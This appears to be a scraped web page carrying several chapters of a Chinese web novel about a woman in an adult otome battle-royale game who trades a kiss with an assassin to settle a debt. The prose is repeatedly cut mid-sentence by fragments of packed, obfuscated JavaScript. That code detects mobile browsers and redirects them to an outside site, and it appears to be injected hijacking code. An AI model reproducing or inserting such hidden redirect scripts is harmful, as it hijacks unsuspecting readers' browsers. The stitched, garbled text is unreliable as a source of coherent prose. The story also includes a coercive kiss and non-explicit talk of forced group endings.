0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407402|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要问,心中便已经有了答案。 “你是Q?” 男人“嗯”了一声,卢枫收紧了揽着宁清禾的手,毫不掩饰他的敌对恶意。 “你来做什么?我说了,三十万这点钱,随时可以给你。” 和卢枫的针锋相对比起来,Q很是淡定,眼皮子一掀,声音从面具之下传出来,像是机械一般没有丝毫的起伏:“最后一遍,我不接受第三方委托,我和【清禾】之间的纠纷,你没有资格代为偿还。” “好了!停!”宁清禾从卢枫的臂弯下钻出来,举起手,站在中间挡住了他们二人的视线,“拜托,我们还在废墟里,外面还有一大堆人呢。先逃命,换个地方好吗?” 宁清禾低咳一声,“外面那些盒子里装的都是假的东西,他们应该很快就会发现了,真没时间了。” 卢枫顿时皱眉不再吭声,唯独Q从面具下发出一声疑惑:“那你为什么刚刚还在这里亲了他两次?这点时间足够你死三回了。” 宁清禾沉默不语,只是从背包栏里找到【金丝甲】选择了【穿戴】,然后又选了一把趁手的武器拿在手上,朝外逃跑的时候侧过头看了一眼Q,对他说:“你来这么久都没吭声,其实这个时候也不一定非要说话的。” 说完,宁清禾举起枪,对准Q。 子弹贴着他的脸飞过去,打中了后面举着枪的一个人。 宁清禾的等级从19变成20。 她的眼前浮现出一行文字。 【社交系统开启,现在您可以添加您的好友或者仇杀对象了。】 宁清禾毫不犹豫把自己身边的这两个人点击添加好友,然后跳上一个石堆,蹲下来,朝他们命令道:“现在分散吧,不然会被一锅端。你们俩快点通过我好友,给我点装备和子弹,蜈蚣精身上全是毒,没什么用。” 卢枫毫不犹豫地照做,往左边树林里去,通过了宁清禾好友,然后给了她一把狙击枪和一箱子弹。 Q还站在原地,朝宁清禾歪了歪头,没有波澜的声音里带着一丝困惑,“我为什么要听你的话?” 说着,Q举起枪,反手扣动板机,背后长了一双眼睛一般,直接命中一个架起枪的狙击手,然后安静地看着宁清禾:“秋枫是你的男朋友,但我不是,如果非要说的话,我们应该是仇杀关系,你让我被同行笑了很久。” 宁清禾顿时被哽住,但往枪里装子弹的动作丝毫没有卡顿。 砰的一声,她又崩了一个瞄准这边的人,看着自己面前的这个人体靶子,深呼吸一口气,面无表情地问他:“你三十万还想不想要了?” Q反手也解决了三个朝自己靠近的人,“可以不要。” 但他太惹眼了,越来越多的人朝宁清禾这边涌来,密密麻麻,像是发现糖果的蚁群。 宁清禾都懒得瞄准了,抬起手乱射击,子弹落入高密度的袭击人群里,压根没有落空的可能。 “那你想怎么办?”她侧过身躲过一枚子弹,翻滚两下,准备换阵地。 但Q也跟着动了,像是一条巨大的尾巴,向人群昭示着她的存在。 他抬起手,眼也不眨清空弹匣,然后面无表情又装了一盒满的子弹上去,精准点杀了靠近的人。 在枪声的间隙中,Q侧过头,湛蓝色的眼睛看着宁清禾,平静的声音从面具之下传出来,“我之前也说过了,我也要你亲我一下。” 宁清禾手一抖,子弹险些失了准头。 9. 游戏 枪声还在宁清禾的耳边回响,夹杂着建筑倾塌的声音,荒原的风吹起土石的低鸣,Q那双湛蓝色的眼睛此刻显得冷静又残忍。 她脑海里顿时闪过一句话:做杀手的人,脑子一般都不太正常。 方才装满的弹匣片刻之间又空了,远方的人群一眼看不见尽头,即使离宁清禾还有相当一段距离,她还是觉得瘆得慌。 她有一种如果自己不答应面前的人就会把自己扔出去的危险感。 毕竟谁也说不准疯子的行为。更何况他们之间还有仇。 宁清禾低头把空了的弹匣再度装满,混不在意的语气和Q如出一辙,仿佛对他的提议并没有多惊讶,也没有多在乎,“就在这里吗?” 她撇了撇嘴,“感觉会很扫兴。” “可是你刚刚和秋枫就是在废墟里亲的。”Q从背包里翻出一个手榴弹,往外面一扔,在爆炸声中十分平静地开口。 宁清禾忍不住握拳,同样面不改色:“那个时候也没有这么多枪对着我,我不想和你亲完就死掉。” Q想了想那副场景,觉得自己还是很能接受的,但宁清禾一脸的不高兴,他只得耸了耸肩放弃,然后把宁清禾扛了起来,甩出一个钢索,攀爬跳跃起来。 宁清禾觉得自己仿佛在坐过山车,而且还是丛林探险版本,没有任何安全措施,唯一阻拦她掉下去的就是横在她腰间的那条粗壮手臂。 Q从一棵树上跳下去的时候,惊起一堆鸟,扑棱着翅膀,从宁清禾能清楚地感觉到它们翅膀拍过自己的脸,伸出的爪子带着一股鸟屎的臭味。 她毫不犹豫捂住了自己的脸,也顾不上什么动物保护了,直接拿出一根电棒挥舞起来,逼的鸟群硬生生在她这里岔开一条路。 落地之后她蹲在地上缓了一阵才把胃里翻滚的呕吐欲望压下去,也顾不上头发凌乱,倒是不忘记点开好友界面,给在线的【秋枫】发了一条信息:【我撤退了,你别留在那里了,跑路吧。】 【秋枫】几乎是秒回:【你在哪?给我一个定位,我很快过来。】 Q在宁清禾面前蹲下来,蓝色的眼睛直勾勾看着她,庞大的身躯挡住了她面前的光线。 宁清禾不由得皱眉,挪了位置,这才继续给【秋枫】回了一条:【不用了,我在安全地带,马上下线了。】 然后她收起好友面板,仰着头看向跟着她挪地方的“小山”。 “小山”似乎并没有接受到她略带几分无语的凝视,也没有注意到她此刻略显苍白的脸色和脸颊两侧凌乱的发丝,只是学着她的样子,捧着脸问:“现在可以了吗?” 宁清禾很确定自己现在十分狼狈,头发乱成一个鸟窝,没有什么血色,眼睛因为刚刚一路上的树叶和鸟羽刺激地发红,现在还在淌着眼泪。 可能跟女鬼没什么区别,但绝对跟美丽沾不上边。 宁清禾都气笑了,指着自己的脸,很是认真地问他:“现在?我这个样子你也下得去口吗?” 因着刚刚那一番极限过山车,宁清禾一肚子的怨气,忍不住阴阳怪气起来:“要是你现在都能对这样的我下得去口,那我只能说你很不挑了。” 她说这话的时候还在流眼泪,眼睛红红的,泛着泪光,头发丝乱蓬蓬的,有几缕贴在脸颊边上,吸着鼻子,一副可怜模样,但说话又是明晃晃地呛他,乌黑的眼眸底藏着小钩子,恨不得剐他一层皮肉。 Q笑起来,“我们做杀手的,最大的优点就是不挑食的,做任务什么情况都有可能遇到,很少有轻松的时候。” “尤其我还很贵,所以轻松简单的单子我一般也不接。” 宁清禾忍不住在心中说了一句:难道不是因为那些单子钱少吗? 想到他的天价单子,又想了想自己又是美人计又是过山车一样活受罪,最后单子只有4云贝。 宁清禾悲伤又气愤,很小声嘀咕了一句:“也没见有多难啊,不然怎么被我一枪崩了,轻松简单到我还以为是新手任务呢。” Q低头看着她此刻的样子,活生生像是地里长出的一朵蘑菇,但不是可以食用的那种,是那种久远时代的游戏里存在的爆炸菇。 偏偏他最喜欢的就是危险与刺激了。 Q坐在地上,弯下腰,凑到宁清禾面前,挑起她的一缕发丝帮她别到耳后,看着她皱起脸的模样不自觉心情好起来,“请允许我告知你,你之所以可以一枪崩掉我的目标,是因为我埋伏过他很多次,消耗了他所有的保命装备。 不然的话,你的老式手枪哪怕是消耗掉所有子弹也没法击穿他的护甲。目标人物很惜命,搞掉他的那些装备可是花掉了我不少时间。 否则,他也不会值三十万了。” 宁清禾在心里默默反怼: 前面功夫做得再漂亮,最后一步失误了就是失败了,哪有那么多理由。如果他把目标看守得很紧,她压根不会有下手的机会。 但是她不打算明面上说出来,怕撕破脸了他当真要她偿还那三十万。 她舍不得,而且她花钱买了一些装备,现在账户余额里只有二十七万了。 还不起,压根还不起。 她的本能就是为金钱低头。 宁清禾仓促把头发理了理,朝着Q仰起头,闭上了眼睛,撅起嘴巴:“来,亲吧。” Q忍不住又发笑,笑得肩膀颤抖,缓过来之后看着气鼓鼓的宁清禾,把面具掀起来一半,指了指自己:“这位小姐,你可能没听清楚,我们的交易条件是你亲我,不是我亲你。” 他往地上一坐,半曲着腿,摆出一副潇洒架势,“我是你的债主,所以理应是你提供服务,如果是我提供服务,那你要偿还的,远远不止三十万了。” “你很值钱吗。”宁清禾咬着牙低声嘟囔一句。 Q听到了,垂目开口道:“曾经有人开两百万买我服务一次。” 这个价钱让宁清禾直了眼睛。 然后在她充满好奇艳羡和一丝嫉妒的目光中,Q施施然开口:“但是我没接。” 虽然这两百万不是开给她的,但宁清禾还是免不了心中一痛,看向Q的目光里带着恨铁不成钢。 两百万!那可是两百万! 数字货币那又怎么了,反正游戏里也是虚拟形象! 话又说回来了,那两百万为什么不能开给她呢!老天无眼!老天不公! Q虽然听不到宁清禾的心声,但从她握紧的拳头,气得发红的脸,以及哀怨的目光中多多少少猜到了一些。 他不由得挑眉,“我们杀手也是有职业道德的,只杀人,卖艺不卖身。” 那是因为你不缺钱,以及对方开的不够高。 宁清禾在心中默默补了一句。 真正缺钱到无法活下去的时候,尊严,原则,都算不上什么,都不过是可以计算的砝码。 但显然Q是完全不懂的,显然他也没有缺过钱。 这么一想,宁清禾完全不想和他继续聊下去了,直起身,胡乱扑上去,揽住他盖着金属护甲的脖子,忍不住抱怨了一句:“把自己包得真严实啊”,然后低头贴了贴他的嘴唇。 他露出来的半张脸比宁清禾想的要苍白一些,大概是因为常年戴着面具的缘故,嘴唇也比她想象的软一些,只是一直抿着,似乎在好奇她要怎么撬开。 但宁清禾不打算撬开他的齿关,进行下一步。 毕竟交易而已,跟工作没区别。 敷衍敷衍得了,认真个什么劲。 她撒开手,正要擦嘴,Q握住她的腰把她摁了回来,低头看着她,不是很满意:“这就没了?” 宁清禾感觉自己简直是被包围了,光线都透不起来,身后是他盘起来的腿,面前是他小山一般的身躯。 倘若此刻来个人,从Q的背后看,绝对是发现不了还有一个她的存在的。 宁清禾忍住心中对着他这过分庞大身躯的恐惧不适,撇过头,一副爱怎么样怎么样的语气:“嗯,没了,我亲秋枫也就这样,你不是都看见了吗,我对他也没有做多余的事情。” Q摸着下巴,仔细一想确实如此,但又感觉不对:“他看起来很快乐,但是......” 宁清禾扭过头来,微微眯着眼睛看着他,忍不住迸发出一股杀气,“但是怎么?” Q微笑起来:“但是我觉得似乎也就那样,一团软肉而已,还不如杀掉目标开心。” 他遗憾地叹气,“感觉做了个亏本买卖,早知道我就选三十万了,至少能买一支很漂亮的枪。” 宁清禾攥紧了拳头,指节发出咯嘣的响声,齿关也隐隐作响。 她看着地面,忍住破口大骂和拔枪的冲动,但脑子里控制不住去计算杀死面前这个全服第一杀手的概率有多高。 他的装备肯定是物抗毒抗点满的,也不知道可以抵挡几次致命伤害。 背包里也有很多武器,光是刚刚她见过的,就有四五把顶尖枪支,子弹和手榴弹更是用之不尽取之不竭。 虽然很难杀,但资源也是真的多,要是成功了,绝对是一夜暴富走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407403|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上巅峰。 虽然此刻她还没有想到办法,但是宁清禾对他所掌握的资源已经心动地不行。 忍不住地,她又生出一种不平衡的嫉恨来,就像贫穷的时候看见暴富还标榜自己不缺钱的人,免不了生出仇恨和怨念,恨老天不公,恨有钱的不是自己。 她正恨着,本来已经离开的Q又折回来,蹲在她面前,轻轻碰了碰她,“还有一件事,本来我是没有义务告知你的,但是你看起来很缺钱,很容易做出错误的价值判断,所以我大发善心,来告知你一声,你从我的目标那里劫去的东西很值钱,值钱到你就算从五百万开始喊价也会有人买。” “看起来很缺钱的新手小姐,你身上带着至少四千万的东西。” 宁清禾顿时睁大了眼睛,被这天文数字砸的晕晕乎乎的。 Q笑起来,继续往下说:“本来我的单子是三百三十万,三十万是买他的命,三百万是买他身上的一件东西,所以严格来说,你其实从我这里拿走的,是三百三十万,刚刚我们交易的,只是一个零头。” 说完之后,Q跪在地上,把还在因为金钱数字而晕乎的宁清禾揽入自己的怀里,宽大的身躯完全地遮盖住所有落下来的光线,低下头,撬开了她的齿关,青涩而又粗鲁地凭着本能去搅弄唇舌。 宁清禾仰着头,眼睛骤然睁大了,被他这突然的袭击搅得头脑一片空白,唇齿间的空气似乎都被他掠夺,以至于她此刻觉得有些缺氧,尝试着扑腾了一下,触碰到的,是冷硬的盔甲和男人过分庞大的身躯。 反而令她手心发麻。 她被迫跪坐在他怀里,无计可施之下,去追逐着他的唇舌,使劲全力咬了一口,铁锈味弥漫口腔。 “好了,现在我满意了,我们两清。”Q抹了一下嘴唇上的血,朝她一笑,挥了挥手,“我们应该不会再见面了,再见啦,缺钱小姐。” 宁清禾捂着自己微微发麻的嘴唇,恨恨打开面板,在杀手排行榜上找到Q的名字,将他加入仇杀。 直到嘴唇上的血干涸了,宁清禾觉得那种微微发麻的感觉还没有退去。 她戴了一个面巾,回到接悬赏单的地方,将4云贝的悬赏单和【烈风】的头颅一并交给了那个白色头发的忧愁NPC。 NPC看着手上的头颅,愣了一会儿,不可置信地看向宁清禾,“你,居然真的做到了。” 宁清禾还在擦着嘴巴,在心里叭叭:你发任务你当然快活,你都不知道我付出了什么代价。 一想到任务奖励只有4云贝,都不够一个喇叭的钱,宁清禾如丧考妣。 但该要的钱还是得要,哪怕只是蚊子腿。 “好了,给我酬劳。”宁清禾朝NPC伸出手,忍不住说了一句:“你既然知道这个任务难,就多给我点,我为了完成它可是付出了很多!” NPC面色严肃起来,带着些愧疚和感激给了宁清禾一个小包裹,只有她手掌一半大。 宁清禾盯着它看了许久,放弃了暴富幻想,但还是在NPC面前打开了它。 主要是怕NPC赖账。 虽然只有4云贝,但是宁清禾一路走来遇见的黑心赖账领导太多了,已经养成了当面验收的习惯。 她点击【打开包裹】,发现蓝色的布上躺着4枚小小的贝壳货币,以及一个蓝色泪滴形状的物体。 宁清禾点开了物品描述。 【鲛人泪:送对方去极乐的天堂还是痛楚的地狱,尽在你的一念之间。他的神魂从此由你掌控,但泪珠总是转瞬即逝,所以只能使用一次,时限七天。】 宁清禾把它收进了包裹,看向NPC的目光陡然一变,一口一个“哥”,上前加了好友。 她蹲在路边加好友的时候,旁边正好又有几个杀手前来接单。 宁清禾一下子就捕捉到了熟悉的名字,她仇杀列表里唯一的对象。 “Q真厉害,在黑风城寨一个人杀了那么多,破纪录了吧,不愧是第一杀手,当时播报列表里几乎被他刷屏了。” “那【清禾】肯定死了吧,Q不是过去杀她的吗?她运气再好也抵不过Q那种恐怖存在吧。” “应该吧,听说有人在万华街遇到Q了,他心情很好,有人合影都没拒绝,肯定是大仇得报。” “万华街?他要去杀谁啊?普莱特?还是菲斯利,这两个人身价都很高来着。” 宁清禾蹲在角落里,借着白发NPC遮掩自己,听完了路人的对话,摸着自己破皮的嘴唇,突然升起一个绝妙的报复想法。 10. 游戏 Q没想到这么快就又见到了【清禾】,在万华街的服装店里。 她在试穿一条红色的裙子,肩背露出了大半,两片轻薄红纱挂在单薄的肩膀上,蜿蜒而下,在她胸前变成浅浅的V字,蓬松的裙摆像是倒挂的花骨朵一般,配着一双浅灰色的短靴。 她捂着胸口在镜子面前转了一圈,于是裙摆就飞扬起来像是花朵一样盛开。 店员上前热情夸赞,随即报出了价格。 【清禾】脸上的笑容顿时僵住,像是中了麻醉针一般动弹不得,闭了闭眼,像是不愿意接受这个事实。 Q忍不住侧过头笑,一旁的同伴觉得莫名其妙,“走在路上你怎么突然笑起来了?有什么好笑的事情吗?” 说着,同伴侧过身子,往他刚刚看的方向探头,一眼就看见了站在服装店门口愁眉苦脸的宁清禾。 天空和街道都是灰扑扑的,偏偏各家店铺都漆上了饱和度过高的红白绿蓝,像是上了岁数的老人涂脂抹粉,透着一种诡异。 街道上的人,要么是迷彩作战服,要么就是繁复的礼服和饰品堆积,仿佛换装游戏店挑战关卡,能穿的各种东西全往身上堆,也不在乎好不好看。 穿着红裙的女孩俏生生站着,抱着原本的灰色衣服,黑发披散在白皙的肩膀上,清丽动人,像是褪去了灰色花萼的花朵,在这个光怪迷离的地带里孤零零地盛开。 他一时间忘记了原本目的,愣愣看着不远处的女孩,脚步也停了下来。 Q抬起手,把同伴的脸捂住,掰回去,手掌拍了拍他的脸,“醒醒。” 同伴还想往那边看,被Q挡的严严实实,有些不满,“你让让,我刚刚看见仙女了。” Q纹丝不动。 同伴敢怒不敢言,挪了挪位置,依然不死心地探头想再看一眼。 Q也跟着动了一下,高大的身形把同伴的视线挡得严严实实。 “不是,你干嘛啊?”同伴有点不高兴了,但面对Q又有些敢怒不敢言。 Q抱着手臂,耸了耸肩,“没干嘛啊。” “那为什么拦着我看美女?”同伴小声抱怨,带着些委屈:“你知道这个游戏里美少女多稀有吗?三年了,我在这个游戏打了三年黑工,每天遇见的不是战斗狂就是变异怪,好不容易才看见一个,概率比宝箱里爆出绝品装备还稀有。” “我又不做什么,我就看看不行吗?拜托,现实里到处都是宇宙垃圾,每天醒来不是漂泊就是打架,你知道我多少年没有看见过真人美女了吗。” “有那么好看?”Q的声音里分不清是打趣还是好奇。 同伴满脑子只有看不到美少女的幽怨,指了指服装店的方向,“就在你身后,你回头看一眼不就知道了。” “我保证,你看了你也喜欢,完全是仙女级别来着,比现在当红的那些AI演员好看多了。” Q慢腾腾回头,服装店门口早已没了人,那条红裙子被挂回了橱窗,穿在白色模特假人的身上。 同伴睁大了眼睛,往前走了好几步,左顾右盼,“不是,人呢?” 他急得抬起手来比划,“我发誓,刚刚人就在这里,穿着红裙子,站在门边,黑头发,白皮肤,比AI漂亮多了,特别显眼。” Q并不说话,只是看着穿着红裙子的假人,也巧,假人头上正好戴了一顶黑色假发。 “你不会觉得我是精神错乱把假人看成美女了吧?”同伴有些崩溃地发问。 Q没有回答,落在同伴眼里成了一种默认。 “我倒也没有沦落到这种地步,幻想和现实我还是分得清的。”同伴咬着牙为自己辩解。 Q耸了耸肩,双手托着后脑勺,敷衍开口:“嗯嗯嗯,我信。” 同伴崩溃地捂着自己的脸,像是小蜜蜂一样在Q身边转圈圈,嗡嗡嗡地,不断为自己辩解。 “真的,我真看见了,刚刚人就在那里,绝对不可能是假人,那五官和皮肤一眼就能看出来是真人,百分百活人。” “也不知道为什么,你一回头,她人就消失了,就那么凑巧。” 说着,同伴的目光掠过一个路边贩卖矿石的小摊位,停在摊位前试手串的女人身上:“哎!就是她!她衣服换了,但就是那张脸!” Q闻声转过头,顺着同伴的目光看去,矿石摊位前只有几个穿着真皮大衣的女人,无一例外地身上环绕着金光闪闪的特效,捏脸如出一辙。 “这就是你说的美女啊?”Q不由得看了呆愣的同伴一样,“你眼光,嗯,确实挺特别的。” 同伴揉了揉眼睛,注视那个摊位许久,逐渐开始怀疑人生。 Q也不急,看着智脑的时间,直到快要到计划的任务时间,才拍了拍他,“走了。你再看,这里也不会凭空变出一个仙女来。” 同伴的目光里依然带着不甘,Q不由得补了一句:“请允许我提醒你,这里是虚拟游戏,所有人的脸都只是虚假的数据。” “所以,哪怕你真的看到了一个仙女, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407404|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现实屏幕后面也有可能是个200斤的肥宅。” 同伴缓慢转着眼珠子,看向Q的目光带着几分愤恨怨毒,“你可以不用提醒我这个的,我现在觉得有点恶心了。” Q微笑起来,虽然脸被面具遮住,但声音明显地愉悦起来,“不用谢,我只是帮你规避一下虚拟游戏恋爱的风险,免得你以后被骗了还要在飞船里哭天抢地,飞船里的设备很贵的,我只是提前心疼设备而已。” 同伴咬紧了牙,但也只敢发出一声怨气满满的哼声,快步往前走。 Q还慢悠悠地,微微侧过头,目光越过人群,越过林立的店铺和塞满路边的小摊,落到街角一处不起眼的红豆小圆子摊位面前。 倘若刚刚走掉的同伴此时回头,顺着他的目光,便能发现自己刚刚苦苦寻觅而不得的仙女正蹲在地上捧着一碗红豆小圆子,吃得眼睛眯起来,露出一副餍足神色,像是晒太阳的猫咪一般。 一次是偶然,两次是巧合,三次那便是再明显不过了。 她跟着自己做什么呢? Q抱着手臂,想了想。 总不能是让他负责吧。 可是他亏了钱,还主动提供了服务,这不太对吧。 但也不是没有这种可能,毕竟远古人类似乎就出了名的规矩多,抱一下要结婚,亲一下要结婚,牵手也要结婚。 虽然如今人类似乎进入了新时代,废除了那些规矩,但是似乎人类内部也分为几个派别。 要是她刚刚好是比较传统的那一派怎么办呢。 可是她也亲了秋枫啊,难道要两个男性同时负责吗。 等一下,现在人类好像废除了婚姻,也废除了一夫一妻制来着。 嘶,那他和秋枫谁是大谁是小呢。 Q一脸严肃地思考着这个问题,直到暗杀目标出现在视野中,他一边给枪装上消音器,一边在脑子里还在想:虽然秋枫先来的,但是也没必要讲究先来后到吧,讲究后来者居上不行吗? 按照时间顺序很不合理,不如比比体型和武力。 他想得入神,举起枪支,瞄准暗杀目标,正要扣下板机。 砰的一声,他的目标死亡倒地。 而他的子弹嵌入目标旁边的钢铁墙壁上。 Q缓慢眨了眨眼,笑起来,带着森然杀气点开了目标的信息,查看了死亡归属那一栏。 发现是一个他再熟悉不过的名字:【清禾】 这下他知道她为什么一直跟着自己了。 11. 现实 宁清禾抢完人头就火速下线了,生怕Q逮到她将她就地正法。 正好这周末轮到她休假,宁清禾打算四处逛逛,见识见识世面,同时也看看有没有什么工作机会。 上五休二日薪两百的日子过惯了,她确实不想回到老家月薪两千八且无偿加班的厂房里了。 她并不觉得自己这样算是忘本,只不过是找更好的机会而已,她依然记得自己的出身,也没有鄙夷自己的来路。 别人问起,她依然会坦荡说出那句“我没有做过基因改造”,哪怕会收获许多白眼,失去唾手可得的机会。 带来的两套衣服已经洗得掉色,因此宁清禾出去逛街还是选择了穿工作服,蓝白色的长袖和工装裤,布料也不知道比她的旧衣服好出多少倍,防火防潮还很耐脏,别说灰尘了,哪怕是机油蹭上去了,也只要轻轻一擦就恢复如初。 宁清禾一度把它供着当宝贝,到处打听,想知道到底是什么科技布料,想着给自己多来几套,顺便带回去一些造福同乡。 负责统筹他们的经理看了她这副乡巴佬的模样笑出声来,告诉她这料子没什么稀奇的,都是军区那边淘汰下来的东西了,明远城大街上到处都是。 宁清禾当时听了许久没吭声,并不是因为被经理说是乡巴佬,而是为自己长大的安远城所感到难过。 明远城的人看不上的东西,却都流不到安远城里去。 倘若这料子也能在安远城广泛使用,她和朋友每年的夏季和回南天也不至于那么难熬。 皮肤一次又一次过敏,青紫的破皮的伤口贴着湿漉漉的布料,最后变成藏在不透气衣服下的溃烂,十几岁的青春期里充斥着尴尬和难堪,最后还是要像没事人一样爬起来上学,装作一副体面的样子,也不戳穿身边人同样的窘迫,像是没事人一样说笑。 只是夜深人静的时候,熄了灯,女寝的床上总是会发出窸窸窣窣的声响,而后是那种药物的刺鼻气味和伤口久闷的难闻味道混在一起。 但谁也不会出声,因为谁都没有入睡。 正是因为这点共同的难堪,大家关系都还不错,只是后面各自都成了家,就联系的少了。 或许是因为物质和精神都太过匮乏的人只能从虚无的爱里抓住些什么来证明自己的存在,安远城的人发生关系甚至当父母都很早。 同龄人里到了二十三岁还没有什么固定交往对象的,除了宁清禾,就只有热爱纸片人的程玲了。 宁清禾走在街上,忍不住拿起手机拍照,正想跟程玲分享,程玲这时候也发信息过来了。 【铃儿响叮当:当当当!我老公的新皮肤!好看吧!】 宁清禾没点开看,直接发了一句【好看!】,找了一个店铺在旁边站着蹭信号,然后才点开了程玲发来的大图。 一尾人鱼趴在礁石上,湿漉漉的长发遮住了面容,隐约可见是个美人,上半身的肌肉一点也不含糊,八块腹肌块块分明,人鱼线也清晰可见,最后汇聚成一条在海水中的闪闪发光的大鱼尾。 不得不说,确实优美又瑟气。 看得宁清禾蠢蠢欲动,忍不住问她:【这是心动倒计时NPC?在哪啊?我怎么没看见啊?】 程玲先是回了八个感叹号,然后才接了宁清禾的话:【你也来玩这个游戏了啊?!什么时候的事情,怎么不跟我说一声!】 【这个NPC在后面,你走完前面的主线然后才能开新地图,解锁鲛人部落。】 【咳咳,人外嘛,体型和那个啥都比较特殊,不是所有人都能接受的,所以是选择性支线。你现在剧情走到哪里了?】 宁清禾想了想,回答:【一进去就被通缉了,正在灰头土脸逃亡中。】 越想越憋屈,宁清禾忍不住窝囊地吐槽了一句:【说实话,我感觉我不是在玩乙游,是在玩大逃杀,动不动就打架,输了就挂掉了,不是在打架的路上就是在和攻略人物斗智斗勇,我觉得他们真的分分钟会把我推出去让我死掉。】 【有时候我觉得我在游戏里比游戏外还惨,打工还没钱。】 程玲发了个【点烟】的表情,【唉,我们乙游是这样的,一般都需要一个惊天动地的开局,什么救世主啦,被囚禁啦,调查家人死亡的真相啦,灵异事件啦,不然的话,宅在家里男主也不能入室抢劫来跟主控谈恋爱吧,不来点刺激的,怎么接触多位男主。】 【攻略嘛,不喜欢你的时候把你当仇人,爱上了就当心肝,都这样。后面好感刷上去了,想怎么报复都行,前期稳住别浪就行。】 宁清禾从中品出一丝不对劲:【那要是浪了怎么办?】 程玲:【......重开或者喜提小黑屋。】 宁清禾不禁倒吸一口凉气,【小黑屋?什么意思,是我想的那个小黑屋吗?】 程玲给了一个肯定的回答:【yes。闺蜜,十八禁游戏不是跟你开玩笑的。很多男主的be线都是多人结局,得不到你选择共享你。】 宁清禾打了一个问号,【这个人数,它有上限吗?】 程玲:【看你开的男主支线吧,我最多是同时开了五个,论坛里的大佬有同时开十个的。】 宁清禾咽了咽口水,突然对【暗黑向】以及【高自由度】的理解更上一层楼。 她小心翼翼地打出了几个字:【这么多人,一起?】 程玲的回复没有任何的歧义:【yes。】 宁清禾的脑子顿时有些过载:【真的不会死掉吗?】 程玲:【游戏啊,肯定死不了。不过全息游戏还是会虚脱,我打完那个结局之后都好几天没起床,感觉魂都飞了。论坛里那个大佬打出十个之后都没再更新攻略了,说自己要休息一段时间,一休息就是大半年。】 宁清禾陡然背上冒起一阵冷汗,程玲还在那边叭叭:【不过说实话还挺刺激的,很多人就特意去打这种结局来体验。不同男主之间的化学反应不一样,花样也不同,好像最后还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407405|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要考量男主的爱意值,如果越爱你,最后也会舍不得伤害你。】 【人数也是一个考察因素,人越多,男主们就会扭曲,也就越变态。】 【如果你不想体验的话,尽量避开同一时间走多男主线,避开他们见面,见面越多,矛盾越激烈,最后结局越凶猛。男主们之间也是会有敌意值的,这个数值越高,be结局里的强度也越高。】 宁清禾看着,拍着自己的胸脯,劫后余生般给程玲发了一句:【那没事,目前我就遇到俩人,而且有一个应该对我好感值为负,我也不打算攻略他的,另外一个很听话,傲娇忠犬。】 程玲:【哇塞,那听起来确实很安全,但是有点乏味了,你不打算多开一点吗?都打游戏了,肯定是全都要。】 宁清禾:【我懂,但是我忍不住想去赚钱和升级,不然我虚的慌。】 程玲:【真不愧是你,乙女游戏也打工,这个工你就打吧。反正你记住,所有人都能攻略,只要不确定关系,想怎么玩都行。】 宁清禾再一次捕捉到关键词:【那要是确定关系了呢?】 程玲:【那你一旦敢养鱼,你的正宫就会突袭你,给你来一套小黑屋套餐,1v1,但是比1V5更可怕,相信我,你不会想去尝试的:)】 宁清禾打了个寒颤,也不想去问到底会怎么样了,庆幸自己在游戏里没有随便确定关系。 原本她还想问程玲怎么攻略Q,但是现在已经完全放弃了攻略他的想法。 她现在还记得当时Q把她摁在怀里亲吻时候的窒息感,像是一座山压下来,浓烈的气息把她包围,像是海水一样,差点使她溺毙。 算了吧,吃不下。 《心跳倒计时》的游戏论坛里。 Q发了一个帖子。 【为什么一个人类女性主动约我见面,上来就让我亲她,亲完之后还跟踪我,甚至还故意抢我单子?补充一点,我们就是因为她抢了我单子才认识的,分别的时候我也说过,让她别再抢了。我们以后不要见面了。】 【为什么文字组合在一起我看不懂呢?】 【还好我眼盲不识字。】 【不是,大哥,你发错地方了吧。我们这是大逃杀游戏,不是恋爱游戏,虽然我们处处杀和一个乙游名字上确实有点分不清,但是梦里和现实你也要分得清吧。怎么可能会有一个女性处心积虑接近你,还上来就亲你,为了见你还故意跟踪你。俺们GalGame都不敢这么写好吗,GalGame都得攻略,乙游也得攻略!】 【@管理员,这个人发的内容跟我们游戏有半毛钱关系吗?干什么吃的,还不给我删了!他严重影响到我的游戏体验了!】 【@管理员,给我禁言!我不允许这种人玩我们大逃杀游戏!】 【@管理员,什么时候发行了恋爱版本,为什么不告诉我!是我不够尊贵吗?!说话!!!】 【等等,这个ID,Q???!!!】 